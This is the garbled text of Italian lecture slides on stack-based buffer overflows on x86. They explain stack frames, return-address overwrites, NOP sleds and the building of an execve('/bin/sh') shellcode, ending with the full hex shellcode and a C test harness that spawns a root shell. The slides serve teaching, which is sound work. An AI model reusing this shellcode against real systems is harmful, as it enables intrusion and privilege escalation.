Title: Buffer Overflows (stack based)
1Buffer Overflows(stack based)
Alberto Ornaghi ltalor_at_sikurezza.orggt Lorenzo
Cavallaro ltsullivan_at_sikurezza.orggt
2Table of contents
- Introduzione allIA-32
- Problema
- Code Injection
- Shellcode
3Introduzione
4Record di attivazione
- Return Address - E lindirizzo a cui viene
ceduto il controllo una volta terminata
lesecuzione della funzione. - Base Pointer - E il contenuto del registro EBP
al momento della chiamata alla funzione.
Rappresenta il puntatore al record di attivazione
precedente che deve essere ripristinato al
termine della funzione -
high
ret address
base pointer
automatic variables ... ...
low
5Sullo stack
stack
int foo(int a, int b) int i 5 return
(a b) i int main(int argc, char
argv) int c 3, d 4, e 0 e
foo(c, d) printf(e d\n, e)
high
low
6RDA innestati
high
d
int foo(int a, int b) bar(a, b) int
bar(int a, int b) ... int main(int argc,
char argv) foo(c, d)
c
low
7Registri della CPU
high
d
EIP instruction pointer puntatore
allistruzione successiva EBP frame
pointer puntatore riferito alla base del record
di attivazione (fisso) ESP stack
pointer puntatore riferito al top della stack
(mobile)
c
ret address
base pointer
b
a
ret address
base pointer
low
8Prologo ed epilogo
- Prologo
- push ebp (salva ebp)
- mov ebp, esp (sposta esp)
- Epilogo
- leave (ripristina esp e ebp)
- ret (ripristina eip)
9Variabili automatiche
high
b
Int foo(int a, int b) int i, j char
buf9 Lallineamento di default sullo
stack e a double word (4 byte) I buffer vengono
estesi per essere allineati a 4 byte
a
ret address
base pointer
i
j
pad
buffer
low
10Problema
11Situazione normale
high
b
int foo(int a, int b) int i, j char
buf9 i 5 j 123 strcpy(buf,
sicurezza)
a
ret address
base pointer
low
12Situazione critica
high
b
int foo(int a, int b) int i, j char
buf9 i 5 j 123 strcpy(buf,
sicurezzabcde)
a
ret address
base pointer
low
13Situazione molto critica
high
b
int foo(int a, int b) int i, j char
buf9 i 5 j 123 strcpy(buf,
sicurezzaaaabbbbcccceeeeffff)
a
low
14Code Injection
15Modifica del ret address
high
b
0xbffffcab
int a 3 int b 5 int e e foo(a,
b) printf(d\n, e)
a
0xbffffca7
0xbffffc8b
low
16Guessing del ret addr (1)
- Non esiste un algoritmo efficiente per trovare il
ret addr - Procediamo empiricamente tenendo conto che
- il S.O. usa memoria virtuale e paginazione
Processo 1
Processo 2
high
low
17Guessing del ret addr (2)
- Limmagine dei processi e cosi strutturata
high
env
offset variabile
argv
RDA main
RDA foo
offset fisso
RDA bar
low
18Guessing del ret addr (3)
- lo stack pointer (esp) e una buona base dalla
quale poter togliere (o aggiungere) un offset
quindi lindirizzo cosi ottenuto e un buon
candidato come retaddr del programma vulnerabile.
high
buf4
ret addr
buf0
b
offset (8)
a
esp
low
19Problematiche
- Le funzioni di copia per le stringhe (strcpy,
gets, ecc) copiano fino al primo NULL byte
(terminatore per le stringhe). - Il codice iniettato non dovra contenere NULL byte
code \xeb\x2a\x5f\xc6\x47\x07\x00\x89\x7f\x08
\xc7\x47 strcpy(buf, code) buf
\xeb\x2a\x5f\xc6\x47\x07
20Facilitazioni
- Per aumentare la probabilita di trovare il ret
addr e possibile preparare una pista di
atterraggio di NOP (0x90) (istruzione macchina
che non fa nulla).
ret address
...
CODE
CTED
INJE
90 90 90 90
90 90 90 90
ret addr allargato
90 90 90 90
90 90 90 90
21Struttura del buffer
- Il buffer che verra iniettato nel programma
vulnerabile avra una struttura simile a questa
EXECUTABE CODE
RET ADDR
NOP NOP
code \x90\x90\x90...\xeb\x2a...\x8d\xfc\xff\x
bf
attenzione !!
22Considerazioni...
- Il buffer potrebbe essere troppo piccolo per
contenere un codice utile - Lo stack potrebbe non essere eseguibile
- Il code puo essere messo in qualsiasi punto
della memoria (non solo sullo stack, e non solo
nel buffer)
23Lo shellcode
24exec.c
include ltstdio.hgt include ltunistd.hgt int
main() char shell "/bin/sh", NULL
execve(shell0, shell, NULL)
25Disasm main
push ebp mov esp, ebp sub 0x18, esp movl
0x809cd00, 0xfffffff8(ebp) mov
0xfffffff8(ebp), eax and 0xfffffff0, esp mov
eax, 0xfffffff0(ebp) push eax push 0x0 movl
0x0, 0xfffffffc(ebp) lea 0xfffffff0(ebp),
eax mov 0xfffffffc(ebp), edx push eax mov
edx, 0xfffffff4(ebp) push 0xfffffff0(ebp) call
0x804cab0 lt__execvegt
26Disasm execve
mov 0x8(ebp), edi mov 0xc(ebp), ecx mov
0x10(ebp), edx mov edi, ebx mov 0xb,
eax int 0x80
ret address
base address
27registri
mov 0x8(ebp), edi mov 0xc(ebp), ecx mov
0x10(ebp), edx mov edi, ebx mov 0xb,
eax int 0x80
eax 0xb ebx /bin/sh ecx (/bin/sh,
NULL) edx (0x0)
sh-2.03 id uid0(root) gid0(root) groups0(root)
28Lo shellcode
eax 0xb ebx /bin/sh ecx (/bin/sh,
NULL) edx (0x0)
Supponiamo di avere lindirizzo sullo stack di
/bin/sh nel registro edi movb 0x0,
0x7(edi) terminazione movl edi,
0x8(edi) indirizzo movl 0x0,
0xc(edi) NULL lea 0xc(edi), edx envp
NULL lea 0x8(edi), ecx array mov edi,
ebx /bin/sh mov 0xb, eax int
0x80 syscall
29Lo shellcode
edi /bin/sh
Come troviamo lindirizzo sullo stack di
/bin/sh ??? jmp string_addr after_jmp pop
edi ... string_addr call
after_jmp .string \"/bin/sh\"
Shellcode pagina precedente
30Opcode dello shellcode
jmp string_addr 0xeb
0x1e after_jmp pop edi
0x5f movb 0x0, 0x7(edi) 0xc6 0x47 0x07
0x00 movl edi, 0x8(edi) 0x89 0x7f 0x08
movl 0x0, 0xc(edi) 0xc7 0x47 0x0c 0x00
0x00 0x00 lea 0xc(edi), edx 0x8d 0x57
0x0c lea 0x8(edi), ecx 0x8d 0x4f 0x08
mov edi, ebx 0x89 0xfb mov
0xb, eax 0xb8 0x0b 0x00 0x00 0x00
int 0x80 0xcd 0x80 string_addr
call after_jmp 0xe8 0xd1 0xff 0xff
0xff .string \"/bin/sh\"
31Eliminazione null bytes
xorl eax, eax movb 0x0b, al
movl 0x0b, eax
xorl eax, eax movb al, 0xc(edi)
movb 0x00, 0xc(edi)
32Shellcode finale
jmp string_addr 0xeb
0x18 after_jmp pop edi
0x5f xorl eax, eax 0x31 0xc0
movb al, 0x7(edi) 0x88 0x47 0x07
movl edi, 0x8(edi) 0x89 0x7f 0x08
movl eax, 0xc(edi) 0x89 0x47 0x0c
lea 0xc(edi), edx 0x8d 0x57 0x0c lea
0x8(edi), ecx 0x8d 0x4f 0x08 mov
edi, ebx 0x89 0xfb movb 0xb,
al 0xb0 0x0b int 0x80
0xcd 0x80 string_addr call after_jmp
0xe8 0xde 0xff 0xff 0xff .string
\"/bin/sh\"
33Testing dello shellcode
char shellcode "\xeb\x1d\x5f\x31\xc0\x88\x4
7\x07\x89\x7f\x08\x89 \x47\x0c\x8d\x57\x0c\x8d\
x4f\x08\x89\xfb\xb0\x0b \xcd\x80\xe8\xde\xff\xf
f\xff/bin/sh" int main() void (f)(void)
(void ()(void))shellcode f()
sh-2.03 id uid0(root) gid0(root) groups0(root)
34- Lorenzo Cavallaro ltsullivan_at_sikurezza.orggt
- Alberto Ornaghi ltalor_at_sikurezza.orggt
- Mailing list del corso (per domande tecniche)
-
- sikurezza-dsi_at_yahoogroups.com
- sikurezza-dsi-subscribe_at_yahoogroups.com